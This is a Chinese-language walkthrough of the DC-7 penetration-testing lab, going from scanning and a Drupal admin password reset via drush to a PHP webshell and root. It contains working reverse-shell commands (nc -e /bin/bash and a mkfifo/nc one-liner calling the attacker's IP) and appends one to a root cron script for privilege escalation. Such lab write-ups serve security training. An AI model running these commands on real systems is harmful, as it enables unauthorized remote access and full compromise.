目录
DC-7靶场下载:
首先进行主机发现:
Dirsearch扫目录:
ssh登录后的信息收集:
exim4提权(假):
真提权:
drush改密码登录后台:
一句话木马连蚁剑:
第一次反弹shel:
第二次反弹shell:
flag:
http://www.five86.com/downloads/DC-7.zip
下载后解压会有一个DC-7.ova文件,直接在vm虚拟机点击左上角打开-->文件--.选中这个.ova文件就能创建靶场,kali和靶机都调整至NAT模式,然后即可开始渗透
arp-scan -l
由报告得知靶场ip为192.168.183.150
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:2b:e1, IPv4: 192.168.183.138
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.183.1 00:50:56:c0:00:08 (Unknown)
192.168.183.2 00:50:56:fc:0d:25 (Unknown)
192.168.183.150 00:0c:29:42:81:0b (Unknown)
192.168.183.254 00:50:56:fe:ac:e6 (Unknown)
Nmap扫靶场ip
nmap -sV -p- 192.168.183.150
得到
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-19 20:13 CST
Nmap scan report for 192.168.183.150
Host is up (0.00071s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
MAC Address: 00:0C:29:42:81:0B (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
22(SSH服务默认端口)和80(http默认端口)
dirsearch -u http://192.168.183.150 -e * -i 200
里面有个登录页面,其他用处都不是很大
[20:16:17] Starting:
[20:18:05] 200 - 3KB - /index.php
[20:18:06] 200 - 104B - /INSTALL.txt
[20:18:15] 200 - 7KB - /LICENSE.txt
[20:18:40] 200 - 3KB - /node
[20:19:00] 200 - 2KB - /README.txt
[20:19:03] 200 - 584B - /robots.txt
[20:19:13] 200 - 309B - /sites/README.txt
[20:19:36] 200 - 3KB - /user/login/
[20:19:45] 200 - 4KB - /web.config
访问网页,先后尝试漏洞搜索drupal 8,key后面传入文件路径,sql注入无果,登录爆破和重置密码也用处不大。
按照官网提示,可以在google里得到帮助,关键字跟网站下@DC7USER一样,能搜索到其github账户,账户下有网站源码文件,里面有config配置文件信息
但是还是识别不了账号密码,转去ssh远程登录
ls查看,在/opt/scripts/bachups.sh文件提示我们有定时任务,文件内容如下:
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 |nc 192.168.183.138 666 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 |nc 192.168.183.138 666 >/tmp/f
会以root权限定时执行/opt/scripts/backups.sh
脚本。
mbox提示我们在/var/mail/dc7user有邮件
查看邮件:
cat /var/mail/dc7user
主要信息有:
Shell脚本文件 /opt/scripts/backups.sh
数据库文件:/home/dc7user/backups/website.sql
网站数据: /home/dc7user/backups/website.tar.gz
在回显的数据里我们能看见之前DC-4靶场出现过的exim4,
查看具有suid权限的命令
find / -user root -perm -4000 -print 2>/dev/null
这个命令的作用是在整个文件系统中搜索所有属主为root且具有setuid位的文件,并将它们的路径输出到标准输出(终端屏幕)上。具体来说,这个命令使用了find命令和一些选项,如下所示:
find:用于在文件系统中搜索文件和目录。
/:表示搜索的起始目录,这里是整个文件系统。
-user root:表示只搜索属主为root的文件。
-perm -4000:表示只搜索具有setuid位的文件。其中,4000是一个八进制数,表示setuid标志位的值为4。setuid位可以让非root用户以root权限执行该文件,因此具有一定的安全风险。
-print:表示将搜索到的文件路径输出到标准输出上。
2>/dev/null:表示将错误输出重定向到空设备上。因为/root目录可能不可访问,所以在搜索时可能会出现一些错误信息,通过这个选项可以避免这些错误信息干扰结果。
在回显中发现一条exim4
可以用exim4提权,先查看exim4版本
exim4 --version
和上一个靶场一样,这里可以使用searchsploit
searchsploit exim 4
出来的结果很多,我们使用46996.sh
"Local Privilege E"表示本地特权升级漏洞;"Remote Command Ex"表示远程命令执行漏洞;"Denial of Service"表示拒绝服务漏洞等等
先打开Apache服务:
systemctl start apache2.service
把脚本复制到html下
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html
dc7user用户那边用 wget命令下载这个脚本
dc7user@dc-7:~/backups$ wget http://192.168.183.138/46996.sh
ls -l查看脚本权限,发现没有执行权限,我们需要给脚本加执行权限
chmod +x 46996.sh
执行脚本:
./46996.sh
确实能下载执行成功,但是使用后提权是失败的
Connecting to 192.168.183.138:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3552 (3.5K) [text/x-sh]
Saving to: ‘46996.sh’
46996.sh 100%[==================>] 3.47K --.-KB/s in 0s
2023-12-19 23:11:46 (755 MB/s) - ‘46996.sh’ saved [3552/3552]
发现能运行drush命令,drush命令可以更改密码,在/var/www/html目录下运行drush命令,更改admin的密码。
cd /var/www/html
rush user-password admin --password="123"
把admin密码改成123,去网页登录,切记先切换目录不然会报错:
dc7user@dc-7:~/backups$ drush user-password admin --password="123"
Command user-password needs a higher bootstrap level to run - you [error]
will need to invoke drush from a more functional Drupal environment
to run this command.
The drush command 'user-password admin' could not be executed. [error]
dc7user@dc-7:~/backups$ cd /var/www/html
dc7user@dc-7:/var/www/html$ drush user-password admin --password="123"
Changed password for admin [success]
drush常用命令:
$ drush cr 各种清缓存
$ drush pm-enable 安装module
$ drush pm-uninstall 卸载module
$ drush pm-list 显示所有modules and themes列表
$ drush user-password admin --password "123" 更改密码
成功登录后台:
登录后台后,发现可以编辑welcome to DC-7页面,但是不能以php代码执行,所以能想到安装php插件然后编辑一句话木马,再反弹shell
粘贴至Extend模块,然后install:
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
返回页面勾选PHP 过滤器,拉到最下面保存
编辑welcome to DC-7 页面(在shortcutes下):
在末尾增加一句话木马,且勾选php code:
蚁剑链接一句话木马 ,网址需要点击welcome to DC-7才能跳转:
另开一个kali终端监听666端口:
nc -lvvp 666
打开虚拟终端,在终端nc反弹shell:
nc 192.168.183.138 666 -e /bin/bash
进入交互式shell:
python -c "import pty;pty.spawn('/bin/bash')"
在这里再次反弹shell
另外再起一个kali终端监听:
nc -lvvp 666
刚刚监听成功的地方反弹shell:
www-data@dc-7:/var/www/html$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 |nc 192.168.183.138 666 >/tmp/f" >> /opt/scripts/backups.sh
过一会就能发现监听成功,而且这一次是root权限
flag照例在/root下